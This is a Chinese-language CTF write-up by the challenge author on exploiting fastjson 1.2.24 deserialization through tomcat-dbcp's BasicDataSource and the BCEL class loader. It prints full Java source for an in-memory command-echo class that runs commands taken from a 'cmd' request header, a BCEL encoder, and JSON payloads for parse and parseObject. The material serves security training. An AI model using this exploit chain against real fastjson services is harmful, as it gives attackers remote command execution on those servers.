文章

记一次CTF出题之FastjsonBCEL_WP篇

WEB-FastjsonBCEL

一、查看题目信息

题目给出一个jar包,反编译后查看Controller层内容如下:

image-20240318182129668

/parse路由下存在FastJson解析可能存在反序列化漏洞。

二、题目分析

查看pom.xml文件

image-20240318182330944

注意到存在tomcat-dbcp依赖和fastjson依赖,且版本分别为9.0.81.2.24。所以可以使用FastJson借助tomcat-dbcp实现BCEL字节码加载的方式。

还是以BCEL打回显为目的,恶意类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
    static {
        try {
            Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method v1 = v0.getMethod("getRequestAttributes");
            Object v2 = v1.invoke(null);
            v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            v1 = v0.getMethod("getResponse");
            Method v3 = v0.getMethod("getRequest");
            Object v4 = v1.invoke(v2);
            Object v5 = v3.invoke(v2);
            Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
            v7.setAccessible(true);
            v6.setAccessible(true);
            Object v8 = v6.invoke(v4);
            String v9 = (String) v7.invoke(v5,"cmd");
            String[] v10 = new String[3];
            if (System.getProperty("os.name").toUpperCase().contains("WIN")){
                v10[0] = "cmd";
                v10[1] = "/c";
            }else {
                v10[0] = "/bin/sh";
                v10[1] = "-c";
            }
            v10[2] = v9;
            v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next());
            v8.getClass().getDeclaredMethod("flush").invoke(v8);
            v8.getClass().getDeclaredMethod("clone").invoke(v8);
        } catch (Exception var11) {
            var11.getStackTrace();
        }
    }
}

生成BCEL编码payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Bcel {

    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(SpringEcho.class);
        String code = "$$BCEL$$"+Utility.encode(javaClass.getBytes(),true);
        System.out.println(code);
        //new ClassLoader().loadClass(code).newInstance();
    }
}

因为漏洞触发点为JSONObject.parse(jsonString)所以最终payload形式如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$xxxxxxxxxxxx"
        }
    }: "x"
}

如果是parseObject()的形式,payload也可以如下:

1
2
3
4
5
6
7
{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$xxxxxxxxxxxx"
}

三、漏洞利用

生成拼接好payload传入:

image-20240318183625514

本文由作者按照 CC BY 4.0 进行授权